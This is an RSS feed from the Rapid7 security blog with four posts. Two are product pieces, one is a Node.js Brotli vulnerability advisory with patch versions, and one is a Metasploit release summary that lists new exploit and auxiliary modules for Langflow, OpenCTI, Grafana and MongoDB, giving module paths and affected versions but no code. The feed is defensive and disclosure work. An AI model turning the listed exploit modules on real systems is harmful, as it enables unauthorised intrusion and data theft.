<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"
   version="2.0" xmlns:media="http://search.yahoo.com/mrss/">
  <channel>
    <title><![CDATA[ Rapid7 Cybersecurity Blog ]]></title>
    <description><![CDATA[Rapid7 transforms data into insight, empowering security professionals to progress and protect their organizations.]]></description>
    <link>https://www.rapid7.com/blog/</link>
    <image>
      <url>https://blog.rapid7.com/favicon.png</url>
      <title>Rapid7 Cybersecurity Blog</title>
      <link>https://www.rapid7.com/blog/</link>
    </image>
    <lastBuildDate>Wed, 28 Oct 2026 23:18:40 GMT</lastBuildDate>
    <atom:link href="https://www.rapid7.com/rss.xml" rel="self" type="application/rss+xml" />
    <ttl>60</ttl>
    <item>
      <title><![CDATA[How Rapid7 InsightGovCloud Supports BOD 22-01 Compliance]]></title>
      <description><![CDATA[<h2>An introduction to CISA’s BOD 22-01</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Issued nearly four years ago, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) Binding Operational Directive 22-01 (BOD 22-01) has been adopted across both public and private sector organizations as a framework to ensure timely remediation of vulnerabilities being exploited by adversaries. By establishing a catalog of known exploited vulnerabilities (KEVs) and emphasizing a risk-based, prioritized approach, it provides a clear model for organizations to strengthen their cybersecurity posture and reduce exposure to real-world threats.</span></p><p style="direction: ltr;"><a href="/solutions/compliance/fedramp/" target="_self"><span style='font-size: undefined;'>InsightGovCloud</span></a><span style='font-size: undefined;'>, Rapid7’s FedRAMP-authorized suite of security solutions, helps organizations implement BOD 22-01 by providing automated vulnerability scanning, real-time alerts for KEVs, and reporting aligned with regulatory requirements. Public and private sector teams can quickly identify at-risk assets, prioritize remediation efforts based on active exploitation, and maintain an auditable record of compliance. By leveraging our secure, cloud-based platform, organizations gain continuous visibility, streamlined vulnerability management, and the confidence that remediation aligns with federal cybersecurity standards.</span></p><h2>How InsightGovCloud stacks up against key BOD 22-01 requirements</h2><h3><span style='font-size: undefined;'>Requirement 1: Maintain continuous inventory and visibility</span></h3><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>InsightVM, included in the suite, supports continuous and automated discovery of both external and internal assets through Discovery Connections, which allow organizations to continuously poll network sources like Active Directory, AWS, and Azure to enumerate connected hosts and launch scans. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>For cloud environments, Rapid7 InsightCloudSec will continuously inventory the entire environment for the creation of new resources and automatically scan and assess those resources against compliance frameworks.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 also maintains up-to-date inventory of CISA KEVs with an industry leading 90% coverage for both on-premise and cloud based host vulnerabilities.</span></p></li></ul><h3><span style='font-size: undefined;'>Requirement 2: Remediate CISA KEV findings on a prioritized schedule</span></h3><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Continuous ingestion of CISA KEV catalog by Rapid7 ensures that detection and prioritization of KEV’s can be streamlined and native to one platform.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Automatically detect and triage assets with KEVs across cloud and hybrid environments.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Prioritize CISA KEV’s across your entire environment and establish remediation projects to quickly and collaboratively remediate KEVs.</span></p></li></ul><h3><span style='font-size: undefined;'>Requirement 3: Establish policies and enforcement</span></h3><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Collaborative remediation and compliance goals automatically track and assign vulnerabilities to the right teams with organizational defined timelines and real time dashboards to measure progress.</span></p></li></ul><h3><span style='font-size: undefined;'>Requirement 4: Automate reporting</span></h3><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 has predefined exports in Cyberscope XML reporting format for seamless ingestion into reports for CyberScope submissions as per </span><span style='font-size: undefined;'><em>CyberScope Automated Data Feeds Submission Manual</em></span><span style='font-size: undefined;'> published by the U.S. Office of Management and Budget.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Built-in audit trail to demonstrate adherence with BOD 22-01. </span></p></li></ul><h2>Why agencies and contractors choose InsightGovCloud</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 InsightGovCloud is designed to support the rigorous requirements of state and local government agencies. The benefits are many, but among the top are its deployment into a FedRAMP Authorized environment – meeting federal security and compliance requirements at every level – its seamless integration into an existing security ecosystem, and its out-of-the-box alignment with CISA and CMMC security mandates. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Agencies and contractors enjoy a future-proof tool in that Rapid7 is continuously updating against the ever-growing KEV catalog, as well as unmatched visibility and control through leadership-friendly reporting. Get to know the platform better </span><a href="https://www.rapid7.com/solutions/compliance/fedramp/"><span style='font-size: undefined;'>here</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-insightgovcloud-supports-bod-22-01-compliance</link>
      <guid isPermaLink="false">blt0c8abc646e76126b</guid>
      <category><![CDATA[Compliance]]></category>
      <category><![CDATA[Government]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Wed, 28 Oct 2026 13:16:39 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltebc2810157aecfaf/68af2715c53b04810df94abb/blog-hero-generic-pixel.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Simplify User Access Management with SCIM on Rapid7 Command Platform]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Managing access to security tools shouldn't require another manual process. As organizations grow, keeping user accounts and permissions up to date becomes increasingly complex. Employees join, change roles, and leave, creating a constant need to update access across applications.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When these processes rely on manual administration, delays and oversights can introduce unnecessary work and security risk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Command Platform now supports System for Cross-domain Identity Management (SCIM), enabling customers to automate user provisioning and deprovisioning through their existing identity provider (IdP).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This helps organizations reduce administrative overhead, maintain more consistent access controls, and manage identity at scale.</span></p><h2 style="direction: ltr;">Automate user access throughout the employee lifecycle</h2><p style="direction: ltr;"><span style='font-size: undefined;'>SCIM is an open standard that enables identity providers, such as Okta, to automatically manage user accounts in connected applications.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With SCIM enabled, Rapid7 Command Platform customers can:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Automate provisioning:</strong></span><span style='font-size: undefined;'> Create accounts when employees join or need access.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Keep user information current:</strong></span><span style='font-size: undefined;'> Synchronize supported user attributes as information changes.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Simplify offboarding:</strong></span><span style='font-size: undefined;'> Automatically deactivate accounts when users no longer require access.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Manage groups at scale:</strong></span><span style='font-size: undefined;'> Synchronize group membership to help streamline access administration.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Rather than manually updating accounts in Command Platform, administrators can manage supported identity lifecycle changes through their existing IdP.</span></p><h2 style="direction: ltr;">Less administration, more consistent access control</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Consider a common scenario: An employee leaves the organization. Without automated provisioning, an administrator must remember to deactivate that employee's access across their applications. If an account is missed, it could remain active longer than intended.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With SCIM, changes made in the organization's identity provider can automatically trigger corresponding account updates in Command Platform.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By introducing SCIM at the platform level, Rapid7 helps organizations:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Reduce operational overhead by eliminating repetitive account-management tasks.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Strengthen access governance by reducing stale accounts and keeping user information aligned with identity provider policies.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Scale more efficiently by centralizing identity lifecycle management for supported Command Platform applications.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>For organizations with security and compliance requirements, these capabilities also help support consistent onboarding and offboarding processes.</span></p><h2 style="direction: ltr;">Get started with SCIM</h2><p style="direction: ltr;"><span style='font-size: undefined;'>SCIM support is now available to Rapid7 Command Platform customers.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Platform administrators can configure SCIM through Command Platform's SSO settings using their existing identity provider. SCIM is disabled by default and requires configuration before automated provisioning begins.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For prerequisites and setup instructions, visit the</span><a href="https://docs.rapid7.com/insight/scim/"><span style='font-size: undefined;'> Command Platform SCIM integration documentation</span></a><span style='font-size: undefined;'>.</span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-scim-simplifies-user-access-management-uam-command-platform</link>
      <guid isPermaLink="false">blt25a186705ed4b6b0</guid>
      <category><![CDATA[Identity Access Management (IAM)]]></category><dc:creator><![CDATA[Michael Chroney]]></dc:creator>
      <pubDate>Tue, 27 Oct 2026 12:24:04 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3cc8c945f314ec1f/68b9a045a7d14357b3ba893b/blog-hero-texture-lines.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>On October 21, 2026, the Node.js Project </span><a href="https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high"><span style='font-size: undefined;'>published a security advisory</span></a><span style='font-size: undefined;'> for </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-111497"><span style='font-size: undefined;'>CVE-2026-111497</span></a><span style='font-size: undefined;'>, an out-of-bounds write in the Brotli decoder bundled with Node.js. The vulnerability affects the Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.x</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.x</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.x</span><span style='font-size: undefined;'> release lines. Node.js rates the issue High, while Google, the CVE Numbering Authority (CNA), gives it a critical CVSSv4 score of </span><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"><span style='font-size: undefined;'>9.2</span></a><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker who can supply Brotli data that an application decompresses with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>node:zlib</span><span style='font-size: undefined;'> can corrupt process memory. According to Node.js, this corruption can lead to a process crash, disclosure of sensitive process memory, or remote code execution. Exposure therefore depends on whether an application passes attacker-controlled compressed data to the affected decoder.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 27, 2026, CVE-2026-111497 was </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-111497"><span style='font-size: undefined;'>added</span></a><span style='font-size: undefined;'> to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of known exploited vulnerabilities (KEV), based on evidence of active exploitation. Given the vulnerability's potential to disclose memory or enable remote code execution (RCE), Rapid7 recommends that organizations prioritize remediation.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111497 is classified as an out-of-bounds write (</span><a href="https://cwe.mitre.org/data/definitions/787.html"><span style='font-size: undefined;'>CWE-787</span></a><span style='font-size: undefined;'>) and an unchecked return value (</span><a href="https://cwe.mitre.org/data/definitions/252.html"><span style='font-size: undefined;'>CWE-252</span></a><span style='font-size: undefined;'>). Per the vendor advisory, the decoder handled an invalid Brotli block switch as a temporary need for more input instead of a permanent format error. The streaming decoder then continued appending input bytes to an eight-byte internal buffer, allowing malformed input to write beyond the buffer and corrupt process memory.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability originates in Google Brotli, which the affected Node.js release lines bundle as a dependency. The CVE record identifies affected upstream Brotli ranges on all platforms as versions </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.0.3</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.0.10</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.1.0</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.1.1</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.2.0</span><span style='font-size: undefined;'> before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1.2.1</span><span style='font-size: undefined;'>. The Node.js Project remediated its bundled decoder in the fixed Node.js releases listed below.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Because CVE-2026-111497 affects the upstream Google Brotli decoder, its reach is not limited to Node.js. Vendor and project advisories have also identified affected implementations in </span><a href="https://github.com/oven-sh/bun/security/advisories/GHSA-663w-cv8g-jj2p"><span style='font-size: undefined;'>Bun</span></a><span style='font-size: undefined;'>, Python's </span><a href="https://github.com/pypa/advisory-database/blob/main/vulns/brotli/PYSEC-2026-4322.yaml"><span style='font-size: undefined;'>Brotli</span></a><span style='font-size: undefined;'> and </span><a href="https://github.com/pypa/advisory-database/blob/main/vulns/brotlicffi/PYSEC-2026-4323.yaml"><span style='font-size: undefined;'>brotlicffi</span></a><span style='font-size: undefined;'> packages, </span><a href="https://devblogs.microsoft.com/dotnet/dotnet-october-2026-oob-security-updates/"><span style='font-size: undefined;'>.NET</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/envoyproxy/envoy/security/advisories/GHSA-3wvj-j6qm-62mr"><span style='font-size: undefined;'>Envoy</span></a><span style='font-size: undefined;'> and </span><a href="https://istio.io/latest/news/security/istio-security-2026-007/"><span style='font-size: undefined;'>Istio</span></a><span style='font-size: undefined;'>, </span><a href="https://github.com/hyperxpro/Brotli4j/security/advisories/GHSA-x524-jrqf-vwq6"><span style='font-size: undefined;'>brotli4j</span></a><span style='font-size: undefined;'>, and </span><a href="https://access.redhat.com/security/vulnerabilities/RHSB-2026-015"><span style='font-size: undefined;'>operating-system packages</span></a><span style='font-size: undefined;'>. Affected versions, default exposure, and remediation vary by product; the presence of an affected decoder does not by itself establish exposure unless an application processes attacker-controlled Brotli data. Organizations should consult the relevant downstream vendor or distribution advisories to identify affected versions, assess exposure, and determine appropriate remediation.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Vendor-supplied security updates are available to remediate CVE-2026-111497. Organizations running an affected Node.js release should upgrade on an urgent basis, outside of normal patch cycles:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.23.4</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.23.4</span><span style='font-size: undefined;'> or later.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.22.1</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>24.22.1</span><span style='font-size: undefined;'> or later.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Node.js </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.x</span><span style='font-size: undefined;'> releases before </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.12.1</span><span style='font-size: undefined;'> are affected; upgrade to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>26.12.1</span><span style='font-size: undefined;'> or later.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor states that end-of-life Node.js release lines should also be treated as affected when a security release occurs. Organizations using an end-of-life release should migrate to a supported, fixed release line. Node.js has not published a vendor-supported workaround; if an immediate upgrade is not possible, Rapid7 recommends restricting or disabling application paths that decompress untrusted Brotli data as a temporary exposure-reduction measure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For the latest mitigation guidance, please refer to the </span><a href="https://nodejs.org/en/blog/vulnerability/october-2026-security-releases#nodejs-brotli-decoder-out-of-bounds-write-permits-remote-code-execution-cve-2026-111497---high"><span style='font-size: undefined;'>Node.js security advisory</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111497 with an authenticated vulnerability check for Linux, macOS, and Windows, available in the October 26 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>October 26, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>October 26, 2026</strong></span>: Updated the Exposure Command, Vulnerability Management, and Nexpose section to reflect coverage availability.</li><li><span style='font-size: undefined;'><strong>October 27, 2026</strong></span><span style='font-size: undefined;'>: Updated Overview to add a reference to CVE-2026-111497 being added to the CISA KEV list.</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-cve-2026-111497-critical-out-of-bounds-write-in-the-node-js-brotli-decoder</link>
      <guid isPermaLink="false">blt3500a9ec0b7391bd</guid>
      <category><![CDATA[Emerging Threats]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Rapid7 Intelligence]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 26 Oct 2026 17:32:46 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Metasploit Wrap Up: Langflow, MongoDB, and More]]></title>
      <description><![CDATA[<p>This release adds multiple new modules, and 6 of those modules point at a single target: <a href="https://www.langflow.org/">Langflow</a>, the open-source LLM workflow builder. Together they cover an authentication bypass (CVE-2026-93680), 3 unauthenticated remote code execution paths (CVE-2026-0768, CVE-2026-0769, and CVE-2026-10134), and 2 authenticated code execution flaws (CVE-2026-7873 and CVE-2026-93674), spanning Langflow releases from 1.0.0 through 1.11.4. Thanks to the work of <a href="https://github.com/rmhowe425">rmhowe425</a>, with research credit to Peter Girnus and n0k0. Beyond Langflow, open source contributor <a href="https://github.com/kmkz">kmkz</a> contributed a pre-auth RCE chain against OpenCTI. MongoDB coverage has also been expanded with 3 new auxiliary modules plus an Apache Solr version scanner thanks to the work of community member <a href="https://github.com/h00die">h00die</a>.</p><h2>New Module Content (11)</h2><h3>4gaBoards Mass User Information Disclosure (CVE-2026-53959)</h3><p>Authors: Balachandar Gowrisankar, de3erve (GitHub), and lucquach (GitHub)</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21831">#21831</a> contributed by <a href="https://github.com/anirbala98">anirbala98</a></p><p>Path: gather/4gaboards_users_info_disclosure_cve_2026_53959</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-53959/">CVE-2026-53959</a></p><p>Description: Adds a module that exploits CVE-2026-53959, a broken access control vulnerability allowing mass user information disclosure in 4gaBoards versions 3.3.8 and below. The application's /api/users REST endpoint lets any authenticated user retrieve a full, unpaginated list of every user in the system. Missing authorization checks allow an attacker to retrieve the email, phone, organization, name, and SSO email addresses (ssoGoogleEmail, ssoGithubEmail, and others) of every user.</p><h3>Langflow AI Authentication Bypass (CVE-2026-93680)</h3><p>Author: Richard Howe</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21942">#21942</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: gather/langflow_auth_bypass_cve_2026_93680</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-93680/">CVE-2026-93680</a></p><p>Description: Adds a new auxiliary module that leverages CVE-2026-93680, an authentication bypass vulnerability impacting Langflow versions 1.5.0 through 1.11.4.</p><h3>Apache Solr Version Scanner</h3><p>Author: h00die</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/22006">#22006</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: scanner/http/apache_solr_version</p><p>Description: Adds a new scanner that identifies Apache Solr and reports its version.</p><h3>MongoDB Auxiliary Module Suite</h3><p>Authors: h00die and prithvee07</p><p>Type: Auxiliary</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21785">#21785</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Description: Adds the mongodb_version, mongodb_schemadump, and mongodb_hashdump auxiliary modules, and updates the existing mongodb_login module.</p><p>This PR adds the following modules:</p><ul><li>scanner/mongodb/mongodb_hashdump</li><li>scanner/mongodb/mongodb_schemadump</li><li>scanner/mongodb/mongodb_version</li></ul><h3>OpenCTI Authentication Bypass and Notifier EJS Remote Code Execution</h3><p>Author: Jean-Marie Bourbon</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21826">#21826</a> contributed by <a href="https://github.com/kmkz">kmkz</a></p><p>Path: linux/http/opencti_notifier_rce</p><p>CVE references: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-27960/">CVE-2026-27960</a> and <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-39980/">CVE-2026-39980</a></p><p>Description: Adds a new exploit module for OpenCTI that chains CVE-2026-27960 and CVE-2026-39980 to achieve unauthenticated remote command execution.</p><h3>Grafana SQL Expressions DuckDB Command Injection (CVE-2024-9264)</h3><p>Author: Özcan Ersan (@ozcanpng)</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21901">#21901</a> contributed by <a href="https://github.com/ozcanpng">ozcanpng</a></p><p>Path: multi/http/grafana_sql_expressions_rce_cve_2024_9264</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2024-9264/">CVE-2024-9264</a></p><p>Description: Adds an authenticated exploit module for CVE-2024-9264, a DuckDB command injection in Grafana SQL Expressions.</p><h3>Langflow AI Code Validation Authenticated RCE (CVE-2026-7873)</h3><p>Authors: Richard Howe and n0k0</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21877">#21877</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_auth_rce_cve_2026_7873</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-7873/">CVE-2026-7873</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-7873, an authenticated RCE vulnerability impacting Langflow versions 1.0.0 through 1.10.0.</p><h3>Langflow AI Authenticated Command Injection (CVE-2026-93674)</h3><p>Author: Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21939">#21939</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_auth_command_injection_cve_2026_93674</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-93674/">CVE-2026-93674</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-93674, an authenticated blind command injection vulnerability impacting Langflow versions 1.5.0 through 1.9.0.</p><h3>Langflow AI Validate Code Injection Unauth RCE (CVE-2026-0768)</h3><p>Authors: Peter Girnus and Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21864">#21864</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_unauth_rce_cve_2026_0768</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-0768/">CVE-2026-0768</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-0768, an unauthenticated remote code execution vulnerability impacting Langflow version 1.4.2.</p><h3>Langflow AI Custom Component Eval Injection Unauth RCE (CVE-2026-0769)</h3><p>Authors: Peter Girnus and Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21867">#21867</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_unauth_rce_cve_2026_0769</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-0769/">CVE-2026-0769</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-0769, an unauthenticated RCE vulnerability impacting Langflow version 1.3.2.</p><h3>Langflow AI Public Flow Build Unauth RCE (CVE-2026-10134)</h3><p>Author: Richard Howe</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21875">#21875</a> contributed by <a href="https://github.com/rmhowe425">rmhowe425</a></p><p>Path: multi/http/langflow_unauth_rce_cve_2026_10134</p><p>CVE reference: <a href="https://www.rapid7.com/db/vulnerabilities/cve-2026-10134/">CVE-2026-10134</a></p><p>Description: Adds a new exploit module that detects and exploits CVE-2026-10134, an unauthenticated remote code execution vulnerability impacting Langflow versions 1.0.0 through 1.9.3.</p><h2>Enhancements and Features (3)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20944">#20944</a> from <a href="https://github.com/Nayeraneru">Nayeraneru</a> - Adds specs to ensure the mkdir post API behaves consistently.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21915">#21915</a> from <a href="https://github.com/vjonline">vjonline</a> - Consolidates reverse handler bind address handling into a shared Msf::Handler::Reverse::Bind module.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/22041">#22041</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Adds multiple Meterpreter improvements. The Windows Meterpreter has a major reflective-loader/IAT-import reduction, as well as improved WinAPI/error handling, and MinGW/CMake build refinements. The Python Meterpreter has improvements to Windows stat support and FreeBSD process listing. The PHP Meterpreter resolves PHP UDP channel read bugs. All Meterpreters now align on recursive mkdir -p capabilities.</li></ul><h2>Bugs Fixed (6)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21490">#21490</a> from <a href="https://github.com/h00die">h00die</a> - Fixes a crash when fingerprinting HTTP services that contained null bytes.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21979">#21979</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Adds additional HTTP redirect checks to multiple modules.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21994">#21994</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Adds additional FTP PASV IP validation checks to multiple modules.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/22001">#22001</a> from <a href="https://github.com/Suryanshuv14">Suryanshuv14</a> - Fixes DirtyClone module metadata and a typo.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/22002">#22002</a> from <a href="https://github.com/mjatin2007">mjatin2007</a> - Fixes leaking TCP sockets and file descriptors when the MSSQL Login Scanner module or the MSSQL session type is used.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/22014">#22014</a> from <a href="https://github.com/cgranleese-r7">cgranleese-r7</a> - Fixes false positives in the detection logic of the auxiliary/gather/hikvision_info_disclosure_cve_2017_7921, auxiliary/gather/magento_xxe_cve_2024_34102, and auxiliary/scanner/http/elasticsearch_traversal modules.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:">Pull Requests 6.5.6…6.5.8</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.5.6%E2%80%A66.5.8">Full diff 6.5.6…6.5.8</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers">Nightly Installers</a> or the commercial edition <a href="https://www.rapid7.com/products/metasploit/download/">Metasploit Pro</a></p>]]></description>
      <link>https://www.rapid7.com/blog/post/pt-metasploit-wrap-up-langflow-mongodb-and-more</link>
      <guid isPermaLink="false">blte10a3a25da91c515</guid>
      <category><![CDATA[Metasploit]]></category>
      <category><![CDATA[Metasploit Weekly Wrapup]]></category><dc:creator><![CDATA[Alan David Foster]]></dc:creator>
